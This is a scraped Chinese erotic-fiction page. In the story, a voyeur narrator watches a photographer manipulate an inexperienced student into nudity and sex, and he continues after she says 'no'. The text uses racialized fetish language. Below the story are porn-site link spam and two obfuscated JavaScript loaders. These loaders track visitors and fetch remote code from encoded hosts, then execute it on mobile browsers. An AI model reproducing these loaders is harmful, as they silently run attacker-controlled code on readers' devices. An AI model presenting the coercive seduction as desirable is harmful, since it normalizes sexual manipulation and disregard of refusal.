一时间,摄影厅内弥漫着赤身的弗兰克散发出的浓烈的雄性荷尔蒙。胡莉眼里是面前这个皮肤光洁、肌肉发达、气势磅礴的漆黑肉体,鼻子里灌满了那雄健的肉体发出雄性外激素,脑子里涌现出奇妙的、梦幻一般的‘性’信息。她身体内发生一种过去从来没有过的冲动。她像中了邪,听任弗兰克摆布。

“看见了?”弗兰克随手扔掉T恤。“脱衣服就是这样简单。完全没有什么可怕的。”

说完,他便伸手要去解胡莉的乳罩。胡莉不由自主地向后退。

“那这样好不好?你不必完全脱光,只是不带乳罩,”面对胡莉的退缩,弗兰克只好步步为营。“我想,那样也许也能满足我的签约人的要求。如果他们看了之后,仍然说不行。你可以等到那个时候再做决定,要不要摆全裸的姿势。” 胡莉仍然不回答。弗兰克看出她的犹豫,更看出她的懦弱。机不可失,他要抢先造成既成事实。他上前一步直逼胡莉,手伸向她的乳罩,够到它的扣勾。胡莉没有说‘不要’,但是也没有逃避。

我看见胡莉像温顺的羔羊听任弗兰克为所欲为,心里不禁有些疼痛。但是,我脑袋里更多的是兴奋。我就要看到东方美人儿的咪咪。

“我摘乳罩了……”弗兰克温情地对胡莉悄悄说。

他两个手指捏住挂钩非常熟练地一拧,乳罩中间的挂扣便开了。弗兰克先揭开乳罩右边的扣杯,然后再揭开左边的扣杯,胡莉的玉乳曝光。

“啊,这真是太漂亮了!”弗兰克说了我想对她说的话。

胡莉战战兢兢地站着不动,任由弗兰克把乳罩的带子从左肩膀退出。我发现她的眼珠开始活动,向下审视自己光光的乳房。这么一段时间以来,她的脸上第一次露出生动之色。

胡莉似乎在想,‘这好像没有想象的那样糟糕’。她还是她。虽然自己坚实的乳峰完全暴露,圆形的乳晕和棕色的乳头也都历历在目。她也不是没有赤身裸体过。只是没有当着外人的面脱光而已。

胡莉自己把剩下的系带从右肩退出。弗兰克把乳罩从她身上拿开。从我隐藏的位置,弗兰克正好挡住了我的视线。不过我敢肯定,现在胡莉的乳房上一定布满鸡皮疙瘩。

弗兰克把相机固定在三脚架上后,又去弄定时器,设置每次自拍的间隔时间。胡莉操起双臂放在胸前挡住乳头。她不愿多暴露一秒钟,打算只在快门快打开时才把手放下。弗兰克走了回来,他像胡莉一样光着上身。胸前挺起的两块黝黑厚实的胸肌上两粒黑色的乳头比胡莉的还大。刚阳之气同胡莉的柔弱对比鲜明。 弗兰克温柔而坚定的把胡莉的双手从她胸前拂开。然后站在胡莉身后,用自己的双臂越过她的双肩,交叉地放在她胸前。此时,正好听见相机快门‘咔嚓’一响。

“好了,这是第一张,”弗兰克高兴地宣布。“没有觉得有甚么不好吧。天没有塌下来吧。不过别动。还要再来一张。”

他刚说完,就听见快门一又‘咔嚓’了一声。

弗兰克用的这个姿势,在事实上从后面把胡莉拥在怀中。他裸露的前胸紧贴住胡莉后背,暗暗地蠕动。他的双手按在胡莉的双峰上,阴阴地揉搓。

胡莉感到男人的乳头在她背上悄悄地拱,男人的体温向她后背辐射。她的前胸更是有一种怪怪的感觉。双乳第一次被外人扪住,那手似乎是在轻轻地施压。没有什么不舒服,却有说不出的快意。

一开始,胡莉看起来非常僵硬、完全不能放松。但是,经过弗兰克慢慢地安慰和指导,胡莉的脸上渐渐露出微笑,并恢复了正常的摆姿势拍照。她扬起头,她挺起胸,她弯下腰,她翘起臀,她侧躺在床上……

弗兰克已经不再出现在相片上。他又操起相机围绕着胡莉拍摄。对此,胡莉似乎没有注意或者根本不在意。她对弗兰克的指导言听计从,她为弗兰克在照相机前搔首弄姿。快门每‘咔嚓’一下,胡莉的自信心就增加一分,承受能力就增大一成。

眼见胡莉的转变,我知道我的赌注肯定是要丢定了。对眼前发生的事儿,我不再惊讶、不再痛心。事实上我很高兴,我很快就会看到自己心仪的中国小屄,看到黑鸡巴对它的劫掠。

“显得风骚一些,像你以前做过的那样……”

弗兰克边按快门边说。我注意到,这是他第一次对胡莉使用重口味儿的字眼。弗兰克也已经看出胡莉的转变,正在加速向他的目标前进。

胡莉以她的容貌,她的表演,她的微笑,融化了我的心。她绝对是一个出众的美人胎子。袒胸露乳而又天真无邪,风骚性感而又高雅清淡。我不知道该怎么看弗兰克的诱奸诡计,我不知道应该怎么看胡莉的心理变化。

哎呀,我他妈啥都不要想。跟着感觉走。听任事态变化。

“再加点骚劲儿,”弗兰克继续用放荡的语汇鼓动胡莉。“摸你的咪咪,玩自个儿的鸽鸽。”

胡莉像没有思想但感情丰富的玩偶,完全照办。她掐捏自己美丽丰满的乳房。她拉扯它们。她宠爱它们。她按摩它们。

我能够看到胡莉充满欲求的眼睛。她已经被弗兰克挑逗得性欲高涨。原来的传统女孩儿胡莉可能不愿承认这个事实。但情欲高涨的胡莉的表现让一切否认都苍白无力。她正在给自己的身体制造快感。她内在的、被保守的中国女孩压抑的、小女儿家的激情和需求,正在冲破传统道德的牢笼开始迸发出来。

我现在在藏匿之处,站也不是、坐也不是。

先前我必须坐下是因为两腿发颤,无法站立窥视。现在站坐两难是因为裤裆中小弟弟已经长大成人,无法压抑。最后我选了一个不文雅却有实效的体位——传教士姿势。

我在隔壁房间找来的一只软垫上匍匐,硬如铁棍的阴茎正好压在腹部和软垫之间。像男上式性交,我跟着胡莉的表演,一面窥视一面耸动屁股,在软垫上寻求刺激。我不敢运动过于激烈,因为我不愿在看见结局前射精。我又不能停止耸动,因为积聚在身的欲火难熬。

我不知道弗兰克怎么能够忍得住。她就在胡莉面前。没有单向玻璃。没有任何障碍,猎物垂手可得。

我不知道再有多久弗兰克才会赢了我们之间的赌局。但是,我知道他一定会赢。他的大黑鸡巴一定会肏了胡莉的小屄。

现在,我只想要知道,还要多久胡莉的小三角裤衩才会被弗兰克剥掉?

第五章 成奸

弗兰克显然和我一样急不可耐。他提着相机,围着胡莉上串下跳,从不同方向、不同距离、不同高度按下快门。嘴里喊着下流俚语鼓励胡莉。他已经去掉职业摄影师的面具。他拍摄的显然也不是商业广告允许的内容。胡莉如果还有一分清醒,就应该发现事情已经过了头。她现在已经不再是在做时装模特儿。只可惜极度兴奋中的胡莉什么也没有看出来。

弗兰克拿起相机抵近胡莉现在已经肿胀坚挺的乳头。只听‘咔嚓’一声,他已对准按下快门。

“我的小乖模特儿,”他流里流气地问。“喜欢不喜欢哥哥照的这一张?” 不等胡莉回答,他又拍下一张她咪咪的大特写。紧接着又再来一张。弗兰克拿相机贴着胡莉身子转。冰冷的相机镜头碰上赤裸的皮肤,胡莉叽叽咯咯笑个不停。

“快住手!”她笑着喊停。不是因为觉得弗兰克冒犯,而是因为弗兰克搔得她痒痒。

弗兰克自然不会停。他反而把相机拿到胡莉两腿之间。

胡莉发现镜头正在向她阴户推进,尖声大笑。她发动突然袭击,猛地把双腿并拢夹住相机。弗兰克失手丢了相机的控制权。

胡莉从床上爬起来跪坐在自己的脚后跟上。相机紧紧夹在她并拢的双腿之间。脸上露出胜利的笑容。

“你现在还有什么办法?”她得意地问,两手紧紧护住自己的小三角裤衩。 对付一个已经被他剥掉乳罩露出奶子发情的中国女孩,弗兰克自然有的是办法。事实上,弗兰克在对付所有漂亮女人上,都极富创造性。他敏捷地出手对着胡莉右边的奶头就是一捏。

“哎哟!”胡莉再度尖叫。不过这仍然是那种开玩笑的尖叫。

弗兰克又伸手要去捏左边的奶头。胡莉尖笑着自卫,同时不忘继续夹住相机。她转身避让,想要躲过弗兰克的手指。一对丰乳也跟着随身摆动。但是,胡莉终究没有逃过弗兰克的魔爪,又被他捏了一下。

胡莉坐在床上又一次尖叫,但是毫无办法。只能听任弗兰克肆意玩弄她的双乳。这一次弗兰克似乎没有放手的意思,他在胡莉的嫩乳上或摸、或捏、或揉。胡莉从来没有感受过这种感觉,她停止了尖啸,她气都喘不过来。

末了,胡莉只能出手自卫,想把弗兰克的双手从自己乳房上撵走。而这正是弗兰克等待的。胡莉轻易掉进他的陷阱。

弗兰克不费气力便轻易从胡莉的手里挣脱。他那单手可以把24厘米直径的篮球玩得团团转的黑色巨掌,反过来一下便把胡莉的一双小手同时握住。另一支贪婪的黑手趁机插进胡莉失去防范的两腿之间。

这一次,胡莉可是真的出于恐怖长声尖叫。她唯一所能做的,不过是将双腿夹的更紧。

胡莉在床上的姿势很难看。她双手受制于弗兰克,两腿又必须夹紧来防范他的进一步骚扰。只有身子可以自由扭动。她心里有些恐慌,对自己开的这个玩笑会有什么结局有些忐忑不安。似乎预感到弗兰克会做出什么‘过分’的事儿来。同时,胡莉心里又有一丝期盼,似乎是希望弗兰克真的会做出那么一点儿出格的事儿来。

不知为什么,弗兰克的手在她腿间探索的时间越长,她心里的期盼就越强烈。胡莉虽然夹住双腿,却只能制止弗兰克大手的进一步侵略,对他已在腿中的粗长的手指没有办法。

胡莉发觉弗兰克的手指好像有什么魔法,能勾起自己心里某种未知的欲望。她的那儿,从来没有人摸过,包括胡莉自己。弗兰克却晓得往哪儿摸。他沿着胡莉两腿之间虽然闭合却又迹可寻的缝儿轻轻上下抚弄。到了肉缝的顶端还不忘记揉一揉。

胡莉感觉下体由一丝丝搔痒转化成一阵阵的快意。这种愉悦由弗兰克的抚摸处逐渐深入体内,再由下往上传遍全身。这种欢乐是她从来没有体念过的。它让胡莉感到恐惧,不知道自己这是怎么了?因为这显然是同她一贯的理念相悖。但同时胡莉内心又更加期盼,希望弗兰克被夹住的手不要离去。她没法应付弗兰克的骚扰,唯有在床上不安的扭动。

弗兰克一边欣赏他俘虏的东方裸体美人儿,一边在手指上下功夫。虽然隔着一层薄薄的丝绸,他能准确地判断哪儿是小妞儿的小屄。他熟练的沿着小屄嫩唇的肉棱子揉搓。感到肉唇儿渐渐充血肿胀,屄缝儿慢慢张开,小屄豆子变大变硬。小屄外面这块遮羞布都湿了。

看着猩红色的软缎床单上中国女孩浅褐色肉体像一只待宰的羔羊,弗兰克放声狂笑。他欣赏在自己手指的挑逗下,不安地来回扭动着娇小肉体。它是那样的美丽,那样的无助,那样的令人怜爱,又是那样的令弗兰克热血沸腾。

她像闪亮的红色软缎上呈放的一朵含苞欲放的花儿,等待弗兰克采摘。

我听见弗兰克的狂啸,看见几乎全裸的胡莉在床上蠕动扭摆,再也不能忍耐。我从软垫上爬起,一手握着阴茎慢慢套弄,一手扶着门框,贴身站在门边偷看。我要采取一个较高的视角来观看这最后一幕。

我正好看见胡莉在弗兰克的搔弄下,尖利地吱吱嘎嘎大笑,仰天倒到床上。我不能看见弗兰克到底在搔胡莉哪儿。不过我知道不是她的腿。而且肯定也不是相机碰到了胡莉。弗兰克现在对抢回相机已经毫无兴趣。

我知道了。胡莉之所以扭摆得像一条水蛇,是因为弗兰克正在玩儿她的小屄。 弗兰克现在已经不用再拽住胡莉的手。他把腾出来的手挪到胡莉的腰部,抓住她小三角裤衩的松紧带。

胡莉再次僵直。赶忙抓住弗兰克的手,近乎精疲力竭地乞求:

“不要!”

这是一个感到危险的女孩的本能反应。这是作为传统中国女孩的胡莉的最后挣扎。

*** *** *** ***

整个摄影室立即安静得像个坟墓。

女孩儿说‘不’就是不。

连弗兰克这样的淫棍也懂得事情的严重性。他是采花贼而不是强奸犯。他立即明白:他试图一蹴而就,过头了。他走得太远。

不过,男女二人都没有采取断然行动。俩人坐在床上各想各的心事,估量他们之间的游戏是否已经无法挽回。

胡莉现在已经知道弗兰克下一步一定会要她脱裤衩。虽然,脱了裤衩之后意味着甚么,胡莉还有些模煳。她真的想做名模,也真的相信自己能做名模。所以对她说来事情又回到原点:‘是脱,还是不脱?这是一个至关重要的问题。’ 不过,这一次胡莉决定在必要时对弗兰克妥协。她完全忽视了,从来她脱掉乳罩以来,弗兰克对她的挑逗,在她身体内勾起的欲望。她最终会为这点付出代价。

至于弗兰克,他当然不愿就此罢休。他的评估是:‘那妞儿肯定已被我撩拨的差不多了。小屄开始流水儿便是明证。’由此弗兰克得出结论,只要不操之过急,他今晚一定能把那小屄开苞儿。

他决定继续谨慎行事。但是,今天就是那一天。

弗兰克把手从胡莉两腿之间抽出。双手温柔地搂住她。他黑色的大手几乎圈住了胡莉的纤腰,让她在雄健的弗兰克面前显得那样的弱小。他双手护着她的腰慢慢向上滑,从肚皮到胸脯、再从乳房到腋窝。最后,弗兰克提着胡莉的手臂向上,拉着她两人一同站起。

弗兰克有意同胡莉保持一个手臂长的距离。两人裸裎上体相对而立,相互凝视对方的眼睛。弗兰克看见眼前的中国女孩,清亮的眼珠里尤有忧忧的情思;胡莉仰视雄性十足的黑色壮汉,眼中是毫不掩饰的欲火。对视良久,胡莉在弗兰克的威势下顺从地低下了眼睛。弗兰克就势坚定地把胡莉拢入怀中。

我万万没有想到事情会是这样。一场本来似乎只能闭幕的闹剧,居然让弗兰克轻易转圜,并且以这样肉感的场景继续演出!

在我与胡莉相处的全部时间里,在我对胡的每次莉窥视,对她的身体、她的的美貌、她裸露的乳房的观察的所有过程中,我从来没有幻想过与胡莉有如此亲密的接触。我可能与胡莉近到咫尺,但是两人中间总是隔着一面玻璃墙。

现在,胡莉与弗兰克肌肤相亲肉体相触。她丰满有弹性的咪咪被紧地压在弗兰克黝黑光亮的裸体上!

弗兰克将胡莉抱起,让两人乳头对乳头顶在一起。他们相对而拥,情思绵绵的眼睛和烈火熊熊的眼睛对视,相互感受对方沉重的唿吸。

胡莉被压扁的柔软的乳房像是嵌进了弗兰克宽厚的胸膛。胡莉褐黄色鲜嫩肉体紧贴着弗兰克黑色坚实的身躯,好像正在贪婪地从中吸取弗兰克体内无穷无尽的性欲望、性意向和性活力。

啊。上帝!她真的美得让人心醉!她漂亮的东方玉体是那样精致和肤色健康。几乎接近全裸,除了一条鲜红的丝质小三角裤衩。

相机早已停止工作。弗兰克事先准备的几个SD磁卡也都已满载。只有他俩依然在一起,保持着性爱的拥抱姿势。

在异性的热烈拥抱下胡莉感到头晕目眩软弱无力。弗兰克的精心谋划和技巧的挑逗已然唤醒了她肉体深处被压抑多年的生理欲望。他令她的肌肤敏感、肉体颤抖、心灵唿唤。像一个孤独的灵魂渴望为人所爱,像一个空旷的肉体期待被某种东西填满。她受过的所有教育,她拥有的全部理智,她珍惜的一切传统,她依持的基本伦理,都无法同正从她体内涌出的情欲狂潮抗衡。

然而,面对肉体的觉醒,毫无性经验的胡莉感到仓皇失措不知如何应对。 看见现在的胡莉,我心中一叹。

可怜的中国女孩胡莉。她在中国的高中显然没有受到过应有的性教育。不懂得基本的男女生殖生理,没有听说过男女有正常的性欲,更不知欲望产生后的生理和心理表现。所以她才会像现在这样,对被弗兰克挑起的、自身‘从来没有过的感觉’感到害怕、渴望和不知所措。

可怜的中国女孩胡莉。她来到美国后不能正确对应异邦文化的冲击。一味用‘中国文化传统’来做口实,避免正常的男女交往。躲在‘正人君子’戴维的卵翼下自欺欺人,以为这样就可以躲过一切与她的‘传统’相悖的人和事。结果,她分不清正常美国男孩对女孩献殷勤同弗兰克这类采花贼对女人下圈套的区别。所以她才会像现在这样,被弗兰克玩弄于掌股之上。

我猜,在这种时刻胡莉可能已经意识到,她就要失去精心保护多年的处女宝。这并不是她自己真心所愿,而是被一个基本算是陌生人的精壮黑人所诱。她的生理欲望会让她自愿地被一根黑色阴茎攫取贞操。

一个下意识的回闪,胡莉突然发现,原来弗兰克现在要做的,正是她的男朋友戴维一直想要而又不敢做的。此时胡莉甚至心疼地埋怨戴维,‘你为什么那么胆小?’如果戴维付出弗兰克努力的一半来哄她,她早就心甘情愿地把自己的童贞送给戴维了。可惜现在为时已晚。

我想,现在胡莉已经明白,她在这儿暴露自己根本就不是要做甚么‘模特儿’。她在这儿赤身露体不过是要成为弗兰克的情人。

戴维曾经情深意切地警告过她,要她小心弗兰克。说他是小人。戴维曾经像先知一样预言,弗兰克的一切所作所为都不过是要勾引胡莉上床。此时此刻,胡莉有一丝悔恨。她有种负罪感。她对戴维感觉到歉意。

但是,她更多的感觉是小三角裤衩从她腿上滑下时,肉体的快意。

*** *** *** ***

这一次,弗兰克的动作非常轻柔、缓慢、而又自信、坚定。他轻轻放松怀抱,身子开始慢慢下滑。前胸坚硬的肌肉在黝黑油亮的皮肤下,和胡莉褐黄色、丝一样的皮肤下丰满柔嫩的肉体相亲吻、相摩擦。他恋恋不舍地滑过她裸露的身躯,直到膝盖跪在地上。

他的头和胡莉阴部等高。胡莉能感到弗兰克的非裔厚唇唿出的热气喷在她薄薄的丝质裤面上。

他的手跟着身子下滑,从胡莉腋窝两侧到她腰部。他根本不抬头看她,只是直截了当地将两个拇指插进她的小三角裤衩的松紧带,把它外翻卷过胡莉的圆臀从她胯部蜕下。然后继续坚定地、缓缓地将它从她大腿上往下撸。

就在我藏匿的位置也能听见胡莉沉重的唿吸声。她显然是胆战心惊。可又像中了魔不能动弹。她已经完全成为弗兰克的俘虏。

平心而论,胡莉还是试图做了一点可怜的最后挣扎。想把弗兰克的双手拂开。不过,在非裔厚唇唿出的热气直接喷到她阴户,弗兰克的舌头舔上她的阴唇时,一切徒劳的尝试就都被放弃了。

胡莉感到一股女性欢愉的热流冲过全身。第一波由性器官接触触发的性愉悦让她惊的发呆,不能唿吸。胡莉从来没有经历过这样的刺激,也不知道世上竟有这样美好的感受。

如果是一个亲吻,她也许可以断然推开。如果只是抚弄乳房,她兴许也能找到勇气离去。但是,一条柔软、卷缠、滑熘的舌头在她女性魂灵的心脏舔舐,确是胡莉无法抗拒的。

它不依不饶,在她阴唇两边卷舔,在她阴唇之间巡回,在她阴道口插戳。胡莉的意识开始迷煳。但她心里知道‘那事儿’一定会发生。弗兰克将要夺取她的童贞。

我看见弗兰克的舌头消失在胡莉体内。他一定已经舔得她阴门张开,正嘬着舌尖在他阴道耕耘。我观察胡莉,她的奶头已经胀大,坚硬挺立。她的身子则仍然僵硬,对即将到来的未知物事心怀畏惧。

胡莉在中学没有受过基本的性教育,上大学又拒绝听女生们的‘悄悄话’。面对雄性十足的弗兰克的进攻,面对自身的女性生理反应,都不知所措。她不懂自己应该怎样做。她不知道在现在的境况下,她应该如何动作。除了弗兰克的灵蛇在她阴道掀起的波浪,让她的臀部不受控制地回转以外,胡莉基本上是一动不动。

她开始偶尔轻微的呻吟。随着弗兰克制造的性快感波浪,一波高过一波地涌来,胡莉被冲击得忘乎所以。她的快感就像她的呻吟一样都变得清晰可辨。 胡莉呻吟的音质是那样甜美,那样纯洁,那样富于性活力。她的性爱歌声没有历史渊源、没有定式可循。因为她不懂得淫言秽语(无论是中式的还是美式的),也没有听过别人浪叫。她的呻吟声就完全是她的独创。是她心身的感受,她灵魂的唿喊。

这是一个初尝禁果的女儿的歌,这是一个中国女孩儿在美国黑人指挥下的女声独唱。我发现,弗兰克的舌头在她阴蒂上拨弄,就像拨弄胡莉的‘情弦’,可以让她哼出不同的美妙旋律。

我从来没听过有哪个女人叫床叫的如此美妙动听,如此色情、如此狂浪、而又不拘一格。此刻,我愿意用我拥有的一切来和弗兰克交换位置。我愿意同胡莉在一起,在她的玉壶面前伸出舌头,把她带到她的第一次性高潮。

但是我是站在门边窥探。一手扶门框一手套弄自己的阴茎。开初,我

==记住==亚洲色吧

网址: yazhouse8.com yazhouseba.co 春色无边娇妻美妾认居尝台球场偷情寻欢熟女 熟妇 邻居 阿姨 婶婶 姨妈 妈 丈母娘 岳母轮流轮陆小安肉便器萝莉成熟淫荡的邻居美妇.鬼.老婆和C2ne1老婆旅游和大鸡巴男人朋友女友3p清怡警察警察李轩彤含着鸡鸡村 婶妻父亲

上一篇 (和我女友在学校的那几年) 校园春色 下一篇 (走向堕落)


上一篇:我和赵姐的故事(09)

下一篇:荡漾女皇(71-80)


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};